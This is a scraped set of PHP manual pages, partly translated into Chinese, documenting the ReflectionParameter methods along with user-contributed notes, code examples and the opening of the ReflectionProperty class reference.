  • ReflectionParameter::canBePassedByValue — Returns whether this parameter can be passed by value
  • ReflectionParameter::__clone — Clone
  • ReflectionParameter::__construct — Construct
  • ReflectionParameter::export — Exports
  • ReflectionParameter::getAttributes — Gets Attributes
  • ReflectionParameter::getClass — 获取参数的 ReflectionClass 对象或为 null
  • ReflectionParameter::getDeclaringClass — Gets declaring class
  • ReflectionParameter::getDeclaringFunction — Gets declaring function
  • ReflectionParameter::getDefaultValue — Gets default parameter value
  • ReflectionParameter::getDefaultValueConstantName — Returns the default value's constant name if default value is constant or null
  • ReflectionParameter::getName — Gets parameter name
  • ReflectionParameter::getPosition — Gets parameter position
  • ReflectionParameter::getType — Gets a parameter's type
  • ReflectionParameter::hasType — Checks if parameter has a type
  • ReflectionParameter::isArray — Checks if parameter expects an array
  • ReflectionParameter::isCallable — Returns whether parameter MUST be callable
  • ReflectionParameter::isDefaultValueAvailable — 检查默认是否可用
  • ReflectionParameter::isDefaultValueConstant — Returns whether the default value of this parameter is a constant
  • ReflectionParameter::isOptional — Checks if optional
  • ReflectionParameter::isPassedByReference — Checks if passed by reference
  • ReflectionParameter::isVariadic — Checks if the parameter is variadic
  • ReflectionParameter::__toString — To string

User Contributed Notes

rasmus at mindplay dot dk 11-Oct-2023 10:55
There are so many parameter modes now, and I needed to know exactly what `ReflectionParameter` is going to return, so I wrote a little test-script - you can find the script and results in a table here:

https://gist.github.com/mindplay-dk/082458088988e32256a827f9b7491e17
fgm at riff dot org 11-May-2008 12:44
The note about the signature of the ReflectionParameter constructor is actually incomplete, at least in 5.2.5: it is possible to use an integer for the second parameter, and the constructor will use it to return the n-th parameter.

This allows you to obtain proper ReflectionParameter objects even when documenting code from extensions which (strangely enough) define several parameters with the same name. The string-based constructor always returns the first parameter with the matching name, whereas the integer-based constructor correctly returns the n-th parameter.

So, in short, this works:
<?php
// supposing the extension defined something like:
// Some_Class::someMethod($a, $x, $y, $x, $y)
$p = new ReflectionParameter(array('Some_Class', 'someMethod'), 4);
// returns the last parameter, whereas
$p = new ReflectionParameter(array('Some_Class', 'someMethod'), 'y');
// always returns the first $y at position 2
?>
killgecNOFSPAM at gmail dot com 25-Jul-2007 05:53
Signature of constructor of ReflectionParameter correctly is:

public function __construct(array/string $function, string $name);

where $function is either a name of a global function, or a class/method name pair.
massimo at mmware dot it 18-Jul-2007 08:58
I found these limitations using class ReflectionParameter from ReflectionFunction with INTERNAL FUNCTIONS (eg print_r, str_replace, ... ) :

1. parameter names don't match with manual: (try example 19.35 with arg "call_user_func" )
2. some functions (eg PCRE function, preg_match etc) have EMPTY parameter names
3. calling getDefaultValue on Parameters will result in Exception "Cannot determine default value for internal functions"


Checks if null is allowed

  • ? ReflectionParameter
  • ReflectionParameter::canBePassedByValue ?
  • PHP Manual
  • ReflectionParameter
  • Checks if null is allowed

ReflectionParameter::allowsNull

(PHP 5, PHP 7, PHP 8)

ReflectionParameter::allowsNull — Checks if null is allowed

说明

public ReflectionParameter::allowsNull(): bool

Checks whether the parameter allows null.

参数

此函数没有参数。

返回值

true if null is allowed, otherwise false

参见

  • ReflectionParameter::isOptional() - Checks if optional

User Contributed Notes

Geoffrey LAURENT 05-May-2013 03:53
The allowsNull method look if arguments have a type.
If a type is defined, null is allowed only if default value is null.

 <?php
function myfunction ( $param ) {

}

echo (new ReflectionFunction("myfunction"))->getParameters()[0]->allowsNull() ? "true":"false";

?>

Result : true

<?php
function myfunction ( stdClass $param ) {

}

echo (new ReflectionFunction("myfunction"))->getParameters()[0]->allowsNull() ? "true":"false";

?>

Result : false

<?php
function myfunction ( stdClass $param = null ) {

}

echo (new ReflectionFunction("myfunction"))->getParameters()[0]->allowsNull() ? "true":"false";
?>

Result : true


Returns whether this parameter can be passed by value

  • ? ReflectionParameter::allowsNull
  • ReflectionParameter::__clone ?
  • PHP Manual
  • ReflectionParameter
  • Returns whether this parameter can be passed by value

ReflectionParameter::canBePassedByValue

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionParameter::canBePassedByValue — Returns whether this parameter can be passed by value

说明

public ReflectionParameter::canBePassedByValue(): bool

参数

此函数没有参数。

返回值

Returns true if the parameter can be passed by value, false otherwise. Returns null in case of an error.

User Contributed Notes

There are no user contributed notes for this page.


Clone

  • ? ReflectionParameter::canBePassedByValue
  • ReflectionParameter::__construct ?
  • PHP Manual
  • ReflectionParameter
  • Clone

ReflectionParameter::__clone

(PHP 5, PHP 7, PHP 8)

ReflectionParameter::__clone — Clone

说明

private ReflectionParameter::__clone(): void

Clones.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

更新日志

版本 | 说明
8.1.0 | This method is no longer final.

参见

  • ReflectionParameter::toString()
  • Object cloning

User Contributed Notes

There are no user contributed notes for this page.


Construct

  • ? ReflectionParameter::__clone
  • ReflectionParameter::export ?
  • PHP Manual
  • ReflectionParameter
  • Construct

ReflectionParameter::__construct

(PHP 5, PHP 7, PHP 8)

ReflectionParameter::__construct — Construct

说明

public ReflectionParameter::__construct(string|array|object $function, int|string $param)

Constructs a ReflectionParameter instance.

参数

function

The function to reflect parameters from.

param

Either an int specifying the position of the parameter (starting with zero), or the parameter name as string.

示例

Example #1 Using the ReflectionParameter class

<?php
function foo($a, $b, $c) { }
function bar(Exception $a, &$b, $c) { }
function baz(ReflectionFunction $a, $b = 1, $c = null) { }
function abc() { }

$reflect = new ReflectionFunction('foo');

echo $reflect;

foreach ($reflect->getParameters() as $i => $param) {
printf(
"-- Parameter #%d: %s {\n".
" Class: %s\n".
" Allows NULL: %s\n".
" Passed to by reference: %s\n".
" Is optional?: %s\n".
"}\n",
$i, // $param->getPosition() can be used
$param->getName(),
var_export($param->getClass(), 1),
var_export($param->allowsNull(), 1),
var_export($param->isPassedByReference(), 1),
$param->isOptional() ? 'yes' : 'no'
);
}
?>

以上示例的输出类似于：

Function [ <user> function foo ] {
  @@ /Users/philip/cvs/phpdoc/a 2 - 2

  - Parameters [3] {
    Parameter #0 [ <required> $a ]
    Parameter #1 [ <required> $b ]
    Parameter #2 [ <required> $c ]
  }
}
-- Parameter #0: a {
   Class: NULL
   Allows NULL: true
   Passed to by reference: false
   Is optional?: no
}
-- Parameter #1: b {
   Class: NULL
   Allows NULL: true
   Passed to by reference: false
   Is optional?: no
}
-- Parameter #2: c {
   Class: NULL
   Allows NULL: true
   Passed to by reference: false
   Is optional?: no
}

参见

  • ReflectionFunctionAbstract::getParameters() - 获取参数
  • ReflectionFunction::__construct() - Constructs a ReflectionFunction object
  • ReflectionMethod::__construct() - 构造 ReflectionMethod
  • Constructors

User Contributed Notes

tracid2008 t gmail o com 06-Dec-2011 03:31
You also can use a class instead of a function name. Just use an array like that
<?php
$reflect = new ReflectionParameter(array('className', 'methodName'), 'property');
?>


Exports

  • ? ReflectionParameter::__construct
  • ReflectionParameter::getAttributes ?
  • PHP Manual
  • ReflectionParameter
  • Exports

ReflectionParameter::export

(PHP 5, PHP 7)

ReflectionParameter::export — Exports

Warning

本函数已自 PHP 7.4.0 起弃用，自 PHP 8.0.0 起移除。强烈建议不要依赖本函数。

说明

public static ReflectionParameter::export(string $function, string $parameter, bool $return = ?): string

Exports.

Warning

本函数还未编写文档，仅有参数列表。

参数

function

The function name.

parameter

The parameter name.

return

设为 true 时返回导出结果，设为 false（默认值）则忽略返回。

返回值

The exported reflection.

参见

  • ReflectionParameter::__toString() - To string

User Contributed Notes

There are no user contributed notes for this page.


Gets Attributes

  • ? ReflectionParameter::export
  • ReflectionParameter::getClass ?
  • PHP Manual
  • ReflectionParameter
  • Gets Attributes

ReflectionParameter::getAttributes

(PHP 8)

ReflectionParameter::getAttributes — Gets Attributes

说明

public ReflectionParameter::getAttributes(?string $name = null, int $flags = 0): array

Returns all attributes declared on this parameter as an array of ReflectionAttribute.

参数

name

过滤结果，匹配此类名，仅包含 ReflectionAttribute 实例的属性。

flags

如果提供了 name，则用于确定如何过滤结果的 flag。

默认值为 0，这将导致返回的结果只属于类 name 的属性。

唯一可用的其他选项是使用 ReflectionAttribute::IS_INSTANCEOF，它将改为使用 instanceof 进行过滤。

返回值

Array of attributes, as a ReflectionAttribute object.

示例

Example #1 Basic usage

<?php
#[Attribute]
class Fruit {
}

#[Attribute]
class Red {
}

function fruitBasket(
#[Fruit]
#[Red]
string $apple
) { }

$reflection = new ReflectionFunction('fruitBasket');
$parameter = $reflection->getParameter('apple');
$attributes = $parameter->getAttributes();
print_r(array_map(fn($attribute) => $attribute->getName(), $attributes));
?>

以上示例会输出：

Array
(
    [0] => Fruit
    [1] => Red
)

Example #2 Filtering results by class name

<?php
#[Attribute]
class Fruit {
}

#[Attribute]
class Red {
}

function fruitBasket(
#[Fruit]
#[Red]
string $apple
) { }

$reflection = new ReflectionFunction('fruitBasket');
$parameter = $reflection->getParameter('apple');
$attributes = $parameter->getAttributes('Fruit');
print_r(array_map(fn($attribute) => $attribute->getName(), $attributes));
?>

以上示例会输出：

Array
(
    [0] => Fruit
)

Example #3 Filtering results by class name, with inheritance

<?php
interface Color {
}

#[Attribute]
class Fruit {
}

function fruitBasket(
#[Fruit]
#[Red]
string $apple
) { }

$reflection = new ReflectionFunction('fruitBasket');
$parameter = $reflection->getParameter('apple');
$attributes = $parameter->getAttributes('Color', ReflectionAttribute::IS_INSTANCEOF);
print_r(array_map(fn($attribute) => $attribute->getName(), $attributes));
?>

以上示例会输出：

Array
(
    [0] => Red
)

参见

  • ReflectionClass::getAttributes() - 获取所有属性
  • ReflectionClassConstant::getAttributes() - Gets Attributes
  • ReflectionFunctionAbstract::getAttributes() - Gets Attributes
  • ReflectionProperty::getAttributes() - Gets Attributes

User Contributed Notes

There are no user contributed notes for this page.


获取参数的 ReflectionClass 对象或为 null

  • ? ReflectionParameter::getAttributes
  • ReflectionParameter::getDeclaringClass ?
  • PHP Manual
  • ReflectionParameter
  • 获取参数的 ReflectionClass 对象或为 null

ReflectionParameter::getClass

(PHP 5, PHP 7, PHP 8)

ReflectionParameter::getClass — 获取参数的 ReflectionClass 对象或为 null

Warning

本函数已自 PHP 8.0.0 起被废弃。强烈建议不要依赖本函数。

说明

public ReflectionParameter::getClass(): ?ReflectionClass

获取参数的 ReflectionClass 对象或为 null。

自 PHP 8.0.0 起，弃用此函数且不推荐使用。反而应该使用 ReflectionParameter::getType() 获取参数的 ReflectionType，然后询问该对象以确定参数类型。

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

ReflectionClass 对象，如果没有声明类型或者声明的类型为类或接口则为 null。

示例

Example #1 使用 ReflectionParameter 类

<?php
function foo(Exception $a) { }

$functionReflection = new ReflectionFunction('foo');
$parameters = $functionReflection->getParameters();
$aParameter = $parameters[0];

echo $aParameter->getClass()->name;
?>

参见

  • ReflectionParameter::getDeclaringClass() - Gets declaring class

User Contributed Notes

tarik at bitstore dot ru 22-Feb-2021 07:08
You may use this one function instead depricated

    /**
     * Get parameter class
     * @param \ReflectionParameter $parameter
     * @return \ReflectionClass|null
     */
    private function getClass(\ReflectionParameter $parameter):?\ReflectionClass
    {
        $type = $parameter->getType();
        if (!$type || $type->isBuiltin())
            return NULL;

// This line triggers autoloader!
        if(!class_exists($type->getName()))
            return NULL;

        return  new \ReflectionClass($type->getName());
    }
Dylan 12-Feb-2021 11:47
For php version >=8
ReflectionParamter::getType() is the recommended way to replace the deprecated methods:

- getClass()
e.g: $name = $param->getType() && !$param->getType()->isBuiltin()
       ? new ReflectionClass($param->getType()->getName())
       : null;

- isArray()
e.g: $isArray = $param->getType() && $param->getType()->getName() === 'array';

- isCallable()
e.g: $isCallable = $param->getType() && $param->getType()->getName() === 'callable';

This method is available in PHP 7.0 and later.
richard dot t dot rohrig at gmail dot com 01-Jun-2020 09:33
Example of how to use getClass() in conjunction with getConstructor() to build the dependencies of a class.

private function buildDependencies(ReflectionClass $reflection)
    {
        $constructor = $reflection->getConstructor();

        if (!$constructor) {
            return [];
        }

        $params = $constructor->getParameters();

        return array_map(function ($param) {

            $className = $param->getClass();

            if (!$className) {
                throw new Exception();
            }

            $className = $param->getClass()->getName();

            return $this->make($className);
        }, $params);
    }
tom at r dot je 11-May-2012 09:15
ReflectionParameter::getClass() will cause a fatal error (and trigger __autoload) if the class required by the parameter is not defined.

Sometimes it's useful to only know the class name without needing the class to be loaded.

Here's a simple function that will retrieve only the class name without requiring the class to exist:

<?php
function getClassName(ReflectionParameter $param) {
    preg_match('/\[\s\<\w+?>\s([\w]+)/s', $param->__toString(), $matches);
    return isset($matches[1]) ? $matches[1] : null;
}
?>
infernaz at gmail dot com 31-Jan-2011 12:09
The method returns ReflectionClass object of parameter type class or NULL if none.

<?php

class A {
    function b(B $c, array $d, $e) {
    }
}
class B {
}

$refl = new ReflectionClass('A');
$par = $refl->getMethod('b')->getParameters();

var_dump($par[0]->getClass()->getName());  // outputs B
var_dump($par[1]->getClass());  // note that array type outputs NULL
var_dump($par[2]->getClass());  // outputs NULL

?>


Gets declaring class

  • ? ReflectionParameter::getClass
  • ReflectionParameter::getDeclaringFunction ?
  • PHP Manual
  • ReflectionParameter
  • Gets declaring class

ReflectionParameter::getDeclaringClass

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

ReflectionParameter::getDeclaringClass — Gets declaring class

说明

public ReflectionParameter::getDeclaringClass(): ?ReflectionClass

Gets the declaring class.

参数

此函数没有参数。

返回值

A ReflectionClass object or null if called on function.

示例

Example #1 Getting the class that declared the method

<?php
class Foo
{
public function bar(\DateTime $datetime)
{
}
}

class Baz extends Foo
{
}

$param = new \ReflectionParameter(['Baz', 'bar'], 0);

var_dump($param->getDeclaringClass());

以上示例会输出：

object(ReflectionClass)#2 (1) {
  ["name"]=>
  string(3) "Foo"
}

参见

  • ReflectionParameter::getClass() - 获取参数的 ReflectionClass 对象或为 null

User Contributed Notes

There are no user contributed notes for this page.


Gets declaring function

  • ? ReflectionParameter::getDeclaringClass
  • ReflectionParameter::getDefaultValue ?
  • PHP Manual
  • ReflectionParameter
  • Gets declaring function

ReflectionParameter::getDeclaringFunction

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

ReflectionParameter::getDeclaringFunction — Gets declaring function

说明

public ReflectionParameter::getDeclaringFunction(): ReflectionFunctionAbstract

Gets the declaring function.

参数

此函数没有参数。

返回值

A ReflectionFunction object.

参见

  • ReflectionParameter::getDeclaringClass() - Gets declaring class

User Contributed Notes

There are no user contributed notes for this page.


Gets default parameter value

  • ? ReflectionParameter::getDeclaringFunction
  • ReflectionParameter::getDefaultValueConstantName ?
  • PHP Manual
  • ReflectionParameter
  • Gets default parameter value

ReflectionParameter::getDefaultValue

(PHP 5 >= 5.0.3, PHP 7, PHP 8)

ReflectionParameter::getDefaultValue — Gets default parameter value

说明

public ReflectionParameter::getDefaultValue(): mixed

Gets the default value of the parameter for any user-defined or internal function or method. If the parameter is not optional a ReflectionException will be thrown.

参数

此函数没有参数。

返回值

The parameters default value.

更新日志

版本 | 说明
8.0.0 | This method now allows getting the default value of parameters of built-in functions and built-in class methods. Previously, a ReflectionException was thrown.

示例

Example #1 Getting default values of function parameters

<?php
function foo($test, $bar = 'baz')
{
echo $test . $bar;
}

$function = new ReflectionFunction('foo');

foreach ($function->getParameters() as $param) {
echo 'Name: ' . $param->getName() . PHP_EOL;
if ($param->isOptional()) {
echo 'Default value: ' . $param->getDefaultValue() . PHP_EOL;
}
echo PHP_EOL;
}
?>

以上示例会输出：

Name: test

Name: bar
Default value: baz

参见

  • ReflectionParameter::isOptional() - Checks if optional
  • ReflectionParameter::isDefaultValueAvailable() - 检查默认是否可用
  • ReflectionParameter::getDefaultValueConstantName() - Returns the default value's constant name if default value is constant or null
  • ReflectionParameter::isPassedByReference() - Checks if passed by reference

User Contributed Notes

gmail@asmqb7 16-May-2016 12:57
[Editor's note: fixed on user's request]

Getting `Uncaught ReflectionException: Internal error: Failed to retrieve the default value`?

You have to wrap this inside ->isDefaultValueAvailable().


Returns the default value's constant name if default value is constant or null

  • ? ReflectionParameter::getDefaultValue
  • ReflectionParameter::getName ?
  • PHP Manual
  • ReflectionParameter
  • Returns the default value's constant name if default value is constant or null

ReflectionParameter::getDefaultValueConstantName

(PHP 5 >= 5.4.6, PHP 7, PHP 8)

ReflectionParameter::getDefaultValueConstantName — Returns the default value's constant name if default value is constant or null

说明

public ReflectionParameter::getDefaultValueConstantName(): ?string

Returns the default value's constant name of the parameter of any user-defined or internal function or method, if default value is constant or null. If the parameter is not optional a ReflectionException will be thrown.

参数

此函数没有参数。

返回值

Returns string on success or null on failure.

更新日志

版本 | 说明
8.0.0 | This method now allows getting the default values' constant names of built-in functions and built-in class methods. Previously, a ReflectionException was thrown.

示例

Example #1 Getting default values' constant names of function parameters

<?php
function foo($test, $bar = PHP_INT_MIN)
{
echo $test . $bar;
}

$function = new ReflectionFunction('foo');

foreach ($function->getParameters() as $param) {
echo 'Name: ' . $param->getName() . PHP_EOL;
if ($param->isOptional()) {
echo 'Default value: ' . $param->getDefaultValueConstantName() . PHP_EOL;
}
echo PHP_EOL;
}
?>

以上示例会输出：

Name: test

Name: bar
Default value: PHP_INT_MIN

参见

  • ReflectionParameter::isOptional() - Checks if optional
  • ReflectionParameter::isDefaultValueConstant() - Returns whether the default value of this parameter is a constant
  • ReflectionParameter::getDefaultValue() - Gets default parameter value

User Contributed Notes

There are no user contributed notes for this page.


Gets parameter name

  • ? ReflectionParameter::getDefaultValueConstantName
  • ReflectionParameter::getPosition ?
  • PHP Manual
  • ReflectionParameter
  • Gets parameter name

ReflectionParameter::getName

(PHP 5, PHP 7, PHP 8)

ReflectionParameter::getName — Gets parameter name

说明

public ReflectionParameter::getName(): string

Gets the name of the parameter.

参数

此函数没有参数。

返回值

The name of the reflected parameter.

参见

  • ReflectionParameter::getValue()

User Contributed Notes

mike 25-May-2015 07:26
FYI, it returns the parameter name without the dollars($) sign at the start.


Gets parameter position

  • ? ReflectionParameter::getName
  • ReflectionParameter::getType ?
  • PHP Manual
  • ReflectionParameter
  • Gets parameter position

ReflectionParameter::getPosition

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

ReflectionParameter::getPosition — Gets parameter position

说明

public ReflectionParameter::getPosition(): int

Gets the position of the parameter.

参数

此函数没有参数。

返回值

The position of the parameter, left to right, starting at position #0.

参见

  • ReflectionParameter::getName() - Gets parameter name

User Contributed Notes

There are no user contributed notes for this page.


Gets a parameter's type

  • ? ReflectionParameter::getPosition
  • ReflectionParameter::hasType ?
  • PHP Manual
  • ReflectionParameter
  • Gets a parameter's type

ReflectionParameter::getType

(PHP 7, PHP 8)

ReflectionParameter::getType — Gets a parameter's type

说明

public ReflectionParameter::getType(): ?ReflectionType

Gets the associated type of a parameter.

参数

此函数没有参数。

返回值

Returns a ReflectionType object if a parameter type is specified, null otherwise.

示例

Example #1 ReflectionParameter::getType() Usage as of PHP 7.1.0

As of PHP 7.1.0, ReflectionType::__toString() is deprecated, and ReflectionParameter::getType() may return an instance of ReflectionNamedType. To get the name of the parameter type, ReflectionNamedType() is available in this case.

<?php
function someFunction(int $param, $param2) {}

$reflectionFunc = new ReflectionFunction('someFunction');
$reflectionParams = $reflectionFunc->getParameters();
$reflectionType1 = $reflectionParams[0]->getType();
$reflectionType2 = $reflectionParams[1]->getType();

assert($reflectionType1 instanceof ReflectionNamedType);
echo $reflectionType1->getName(), PHP_EOL;
var_dump($reflectionType2);
?>

以上示例会输出：

int
NULL

Example #2 ReflectionParameter::getType() Usage before PHP 7.1.0

<?php
function someFunction(int $param, $param2) {}

$reflectionFunc = new ReflectionFunction('someFunction');
$reflectionParams = $reflectionFunc->getParameters();
$reflectionType1 = $reflectionParams[0]->getType();
$reflectionType2 = $reflectionParams[1]->getType();

echo $reflectionType1, PHP_EOL;
var_dump($reflectionType2);
?>

以上示例在 PHP 7.0 中的输出：

int
NULL

Example #3 ReflectionParameter::getType() Usage in PHP 8.0.0 and later

As of PHP 8.0.0, this method may return a ReflectionNamedType instance or a ReflectionUnionType instance. The latter is a collection of the former. To analyze a type, it is often convenient to normalize it to an array of ReflectionNamedType objects. The following function will return an array of 0 or more ReflectionNamedType instances.

<?php
function getAllTypes(ReflectionParameter $reflectionParameter): array
{
$reflectionType = $reflectionParameter->getType();

if (!$reflectionType) return [];

return $reflectionType instanceof ReflectionUnionType
? $reflectionType->getTypes()
: [$reflectionType];
}
?>

参见

  • ReflectionParameter::hasType() - Checks if parameter has a type
  • ReflectionType::__toString() - To string

User Contributed Notes

Will Beaumont 05-Sep-2020 04:26
As of 7.1, if a parameter type is found then this method returns an instance of ReflectionNamedType (https://www.php.net/manual/en/class.reflectionnamedtype.php), a subclass of ReflectionType.


Checks if parameter has a type

  • ? ReflectionParameter::getType
  • ReflectionParameter::isArray ?
  • PHP Manual
  • ReflectionParameter
  • Checks if parameter has a type

ReflectionParameter::hasType

(PHP 7, PHP 8)

ReflectionParameter::hasType — Checks if parameter has a type

说明

public ReflectionParameter::hasType(): bool

Checks if the parameter has a type associated with it.

参数

此函数没有参数。

返回值

true if a type is specified, false otherwise.

示例

Example #1 ReflectionParameter::hasType() example

<?php
function someFunction(string $param, $param2 = null) {}

$reflectionFunc = new ReflectionFunction('someFunction');
$reflectionParams = $reflectionFunc->getParameters();

var_dump($reflectionParams[0]->hasType());
var_dump($reflectionParams[1]->hasType());

以上示例的输出类似于：

bool(true)
bool(false)

参见

  • ReflectionParameter::getType() - Gets a parameter's type

User Contributed Notes

There are no user contributed notes for this page.


Checks if parameter expects an array

  • ? ReflectionParameter::hasType
  • ReflectionParameter::isCallable ?
  • PHP Manual
  • ReflectionParameter
  • Checks if parameter expects an array

ReflectionParameter::isArray

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

ReflectionParameter::isArray — Checks if parameter expects an array

Warning

本函数已自 PHP 8.0.0 起被废弃。强烈建议不要依赖本函数。

See the example below for an alternative way to derive this information.

说明

public ReflectionParameter::isArray(): bool

Checks if the parameter expects an array.

参数

此函数没有参数。

返回值

true if an array is expected, false otherwise.

示例

Example #1 PHP 8.0.0 equivalent

As of PHP 8.0.0, the following code will report if a type declares arrays, including as part of a union.

<?php
function declaresArray(ReflectionParameter $reflectionParameter): bool
{
$reflectionType = $reflectionParameter->getType();

if (!$reflectionType) return false;

$types = $reflectionType instanceof ReflectionUnionType
? $reflectionType->getTypes()
: [$reflectionType];

return in_array('array', array_map(fn(ReflectionNamedType $t) => $t->getName(), $types));
}
?>

参见

  • ReflectionParameter::isOptional() - Checks if optional

User Contributed Notes

There are no user contributed notes for this page.


Returns whether parameter MUST be callable

  • ? ReflectionParameter::isArray
  • ReflectionParameter::isDefaultValueAvailable ?
  • PHP Manual
  • ReflectionParameter
  • Returns whether parameter MUST be callable

ReflectionParameter::isCallable

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionParameter::isCallable — Returns whether parameter MUST be callable

Warning

本函数已自 PHP 8.0.0 起被废弃。强烈建议不要依赖本函数。

See the example below for an alternative way to derive this information.

说明

public ReflectionParameter::isCallable(): bool

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

Returns true if the parameter is callable, false if it is not or null on failure.

示例

Example #1 PHP 8.0.0 equivalent

As of PHP 8.0.0, the following code will report if a type supports callables, including as part of a union.

<?php
function declaresCallable(ReflectionParameter $reflectionParameter): bool
{
$reflectionType = $reflectionParameter->getType();

if (!$reflectionType) return false;

$types = $reflectionType instanceof ReflectionUnionType
? $reflectionType->getTypes()
: [$reflectionType];

return in_array('callable', array_map(fn(ReflectionNamedType $t) => $t->getName(), $types));
}
?>

User Contributed Notes

me at abiusx dot com 15-Jan-2016 05:18
Apparently this does not return true for callback arguments to many of the internal functions, such as array_map and array_walk.


检查默认是否可用

  • ? ReflectionParameter::isCallable
  • ReflectionParameter::isDefaultValueConstant ?
  • PHP Manual
  • ReflectionParameter
  • 检查默认是否可用

ReflectionParameter::isDefaultValueAvailable

(PHP 5 >= 5.0.3, PHP 7, PHP 8)

ReflectionParameter::isDefaultValueAvailable — 检查默认是否可用

说明

public ReflectionParameter::isDefaultValueAvailable(): bool

检查参数默认值是否可用。

参数

此函数没有参数。

返回值

如果默认值可用为 true 否则为 false

参见

  • ReflectionParameter::getDefaultValue() - Gets default parameter value
  • ReflectionParameter::isDefaultValueConstant() - Returns whether the default value of this parameter is a constant
  • ReflectionParameter::getName() - Gets parameter name

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the default value of this parameter is a constant

  • ? ReflectionParameter::isDefaultValueAvailable
  • ReflectionParameter::isOptional ?
  • PHP Manual
  • ReflectionParameter
  • Returns whether the default value of this parameter is a constant

ReflectionParameter::isDefaultValueConstant

(PHP 5 >= 5.4.6, PHP 7, PHP 8)

ReflectionParameter::isDefaultValueConstant — Returns whether the default value of this parameter is a constant

说明

public ReflectionParameter::isDefaultValueConstant(): bool

Returns whether the default value of this parameter is a constant.

参数

此函数没有参数。

返回值

Returns true if the default value is constant, and false otherwise.

参见

  • ReflectionParameter::getDefaultValueConstantName() - Returns the default value's constant name if default value is constant or null
  • ReflectionParameter::isDefaultValueAvailable() - 检查默认是否可用

User Contributed Notes

kristianoye at gmail dot com 25-May-2015 09:39
This method returns true only if the parameter's default value is set to a named constant.  e.g.

class Foo {
   const OPTION_MULTIGET = 1;

   //Method 1
   public function setGetOptions($opts=0);

   //Method 2
   public function setMultiGetOptions($opts=Foo::OPTION_MULTIGET);
}

Method 1's first ReflectionParameter will return isDefaultValueConstant() = false (0 is a "constant"/static value but not a named constant) and Method 2's will return isDefaultValueConsntant() = true.


Checks if optional

  • ? ReflectionParameter::isDefaultValueConstant
  • ReflectionParameter::isPassedByReference ?
  • PHP Manual
  • ReflectionParameter
  • Checks if optional

ReflectionParameter::isOptional

(PHP 5 >= 5.0.3, PHP 7, PHP 8)

ReflectionParameter::isOptional — Checks if optional

说明

public ReflectionParameter::isOptional(): bool

Checks if the parameter is optional.

参数

此函数没有参数。

返回值

true if the parameter is optional, otherwise false

参见

  • ReflectionParameter::getName() - Gets parameter name

User Contributed Notes

There are no user contributed notes for this page.


Checks if passed by reference

  • ? ReflectionParameter::isOptional
  • ReflectionParameter::isVariadic ?
  • PHP Manual
  • ReflectionParameter
  • Checks if passed by reference

ReflectionParameter::isPassedByReference

(PHP 5, PHP 7, PHP 8)

ReflectionParameter::isPassedByReference — Checks if passed by reference

说明

public ReflectionParameter::isPassedByReference(): bool

Checks if the parameter is passed in by reference.

参数

此函数没有参数。

返回值

true if the parameter is passed in by reference, otherwise false

参见

  • ReflectionParameter::getName() - Gets parameter name

User Contributed Notes

There are no user contributed notes for this page.


Checks if the parameter is variadic

  • ? ReflectionParameter::isPassedByReference
  • ReflectionParameter::__toString ?
  • PHP Manual
  • ReflectionParameter
  • Checks if the parameter is variadic

ReflectionParameter::isVariadic

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

ReflectionParameter::isVariadic — Checks if the parameter is variadic

说明

public ReflectionParameter::isVariadic(): bool

Checks if the parameter was declared as a variadic parameter.

参数

此函数没有参数。

返回值

Returns true if the parameter is variadic, otherwise false.

User Contributed Notes

There are no user contributed notes for this page.


To string

  • ? ReflectionParameter::isVariadic
  • ReflectionProperty ?
  • PHP Manual
  • ReflectionParameter
  • To string

ReflectionParameter::__toString

(PHP 5, PHP 7, PHP 8)

ReflectionParameter::__toString — To string

说明

public ReflectionParameter::__toString(): string

Get a human-readable description of the parameter.

参数

此函数没有参数。

返回值

The string.

示例

Example #1 ReflectionParameter::__toString() example

<?php
echo new ReflectionParameter('substr', 0);
?>

以上示例的输出类似于：

Parameter #0 [ <required> string $string ]

参见

  • ReflectionFunction::__toString() - Returns the string representation of the ReflectionFunction object
  • ReflectionMethod::__toString() - 返回反射方法对象的字符串表达
  • __toString()

User Contributed Notes

There are no user contributed notes for this page.


ReflectionProperty 类

(PHP 5, PHP 7, PHP 8)

简介

ReflectionProperty 类报告有关类属性的信息。

类摘要

class ReflectionProperty implements Reflector {
/* 常量 */
public const int IS_STATIC;
public const int IS_READONLY;
public const int IS_PUBLIC;
public const int IS_PROTECTED;
public const int IS_PRIVATE;
/* 属性 */
public string $name;
public string $class;
/* 方法 */
public __construct(object|string $class, string $property)
private __clone(): void
public static export(mixed $class, string $name, bool $return = ?): string
public getAttributes(?string $name = null, int $flags = 0): array
public getDeclaringClass(): ReflectionClass
public getDefaultValue(): mixed
public getDocComment(): string|false
public getModifiers(): int
public getName(): string
public getType(): ?ReflectionType
public getValue(?object $object = null): mixed
public hasDefaultValue(): bool
public hasType(): bool
public isDefault(): bool
public isInitialized(?object $object = null): bool
public isPrivate(): bool
public isPromoted(): bool
public isProtected(): bool
public isPublic(): bool
public isReadOnly(): bool
public isStatic(): bool
public setAccessible(bool $accessible): void
public setValue(object $object, mixed $value): void
public __toString(): string
}

属性

name

属性名。只读，在尝试赋值的时候抛出 ReflectionException。

class

定义的属性所在的类。只读，在尝试赋值的时候抛出 ReflectionException。

预定义常量

ReflectionProperty 修饰符

ReflectionProperty::IS_STATIC

表示 static 属性。在 PHP 7.4.0 之前，值为 1。

ReflectionProperty::IS_READONLY

表示 readonly 属性。自 PHP 8.1.0 起可用。

ReflectionProperty::IS_PUBLIC

表示 public 属性。在 PHP 7.4.0 之前，值为 256。

ReflectionProperty::IS_PROTECTED

表示 protected 属性。在 PHP 7.4.0 之前，值为 512。

ReflectionProperty::IS_PRIVATE

表示 private 属性。在 PHP 7.4.0 之前，值为 1024。

Note:

这些常量的值可能会在不同 PHP 版本间发生更改。建议始终使用常量而不直接依赖值。

更新日志

版本 | 说明
8.0.0 | 已移除 ReflectionProperty::export()。

Table of Contents

  • ReflectionProperty::__clone — Clone
  • ReflectionProperty::__construct — Construct a ReflectionProperty object
  • ReflectionProperty::export — Export
